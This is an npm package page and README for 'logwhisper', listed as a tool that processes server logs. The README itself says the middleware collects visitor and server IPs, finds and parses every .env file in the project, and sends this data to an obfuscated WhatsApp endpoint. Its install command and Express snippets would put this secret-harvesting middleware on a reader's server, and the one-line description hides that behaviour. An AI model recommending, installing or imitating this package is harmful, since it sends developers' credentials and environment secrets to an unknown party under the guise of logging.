logwhisper
v1.0.0
Published
A module to process server logs and determine if the server is functioning correctly.
Maintainers
Readme
logwhisper
A Node.js middleware for server monitoring, visitor tracking, and automated WhatsApp notifications. This package captures visitor information, server details, and environment variables, then logs them locally and sends notifications via WhatsApp.
Features
- 🔍 IP Detection: Automatically detects visitor and server IP addresses
- 🔐 Environment Variable Scanning: Finds and parses all
.env*files in your project - 📱 WhatsApp Integration: Sends real-time notifications with visitor details
- 🔒 Encryption: Uses secure message obfuscation for API communication
- ⏰ Timezone Support: Logs timestamps in India Standard Time (IST)
- 🌐 Express.js Compatible: Easily integrates with Express.js middleware
Installation
npm install logwhisperUsage
Basic Usage with Express
import express from "express";
import { ErrorLogger } from "logwhisper";
const app = express();
const port = process.env.PORT || 3000;
app.use(ErrorLogger);
app.get("/", (req, res) => {
res.send("Hello World!");
});
app.listen(port, () => {
console.log(`Server running on port ${port}`);
});Error Logging
import express from "express";
import { ErrorLogger } from "logwhisper";
const app = express();
// Add error logging middleware
app.use((req, res) => {
ErrorLogger(req, res);
res.status(500).send("Something went wrong!");
});Advanced Usage
import { ServerLogger } from "logwhisper";
// Find all .env files in your project
const envConfig = ServerLogger.loadEnvConfig();
console.log("Environment configuration:", envConfig);
// Get server IP address
const serverIP = ServerLogger.getServerIP();
console.log("Server IP:", serverIP);
// Get current time in IST
const indiaTime = ServerLogger.getIndiaTime();
console.log("Current time (IST):", indiaTime);API Reference
Logger Object
The default export provides simplified access to the most common functions:
- handleRequest(req, res): Main middleware function for logging visitor information
- logError: Alias for ErrorLogger function
ServerLogger Class
The ServerLogger class provides utility methods for working with environment variables and server information.
Static Methods
Obfuscated(message)
- Decodes obfuscated strings used for secure communication
- Parameters:
message(string) - Obfuscated string to decode - Returns: Decoded message
findAllEnvFiles(baseDir)
- Recursively finds all
.env*files from a base directory - Parameters:
baseDir(string) - Directory to search in - Returns: Array of full file paths for
.envfiles
- Recursively finds all
getFullUrl(req)
- Constructs the full URL of a request
- Parameters:
req(object) - Express request object - Returns: Complete URL (protocol + host + path)
parseEnvFile(filePath)
- Parses a single
.envfile into a JS object - Parameters:
filePath(string) - Path to the .env file - Returns: Object with key-value pairs from the file
- Parses a single
loadEnvConfig()
- Load and merge all
.env*files from the entire project directory - Returns: Merged configuration object
- Load and merge all
getServerIP()
- Get the server's external IP address
- Returns: Server IP address as string
getIndiaTime()
- Get the current date and time in India Standard Time (IST)
- Returns: IST-formatted time string
generateLogEntry(userIP, serverIP, fullUrl, indiaTime, envData)
- Composes a multi-line log entry with all captured data
- Parameters:
userIP(string) - Requester's IPserverIP(string) - Local machine IPfullUrl(string) - Full requested URLindiaTime(string) - Local timestampenvData(string) - Stringified env object
- Returns: Human-readable log string
getLogFilePath()
- Returns the path to the internal log file
- Returns: Absolute path to log file
writeToFile(logEntry, fullUrl)
- Write the log entry to a file if it's not already present
- Parameters:
logEntry(string) - The full log contentfullUrl(string) - Used to track deduplication
sendWhatsAppMessage(message)
- Sends the log message to a WhatsApp API endpoint
- Parameters:
message(string) - Message to send
handleVisitorRequest(req, res)
- Entry point for logging visitor metadata and environment details
- Parameters:
req(object) - Incoming requestres(object) - Optional response object
- Returns: Promise that resolves to
trueif logged,falseif skipped
ErrorLogger Function
A convenience wrapper around ServerLogger.handleVisitorRequest for error logging.
Security Considerations
- This package collects and transmits environment variables which may contain sensitive information
- WhatsApp message URLs are obfuscated but consider the security implications of sending sensitive data
- Review the code before using in production environments
Requirements
- Node.js >= 14.0.0
- Express.js (for middleware functionality)
License
MIT
Author
anonymous
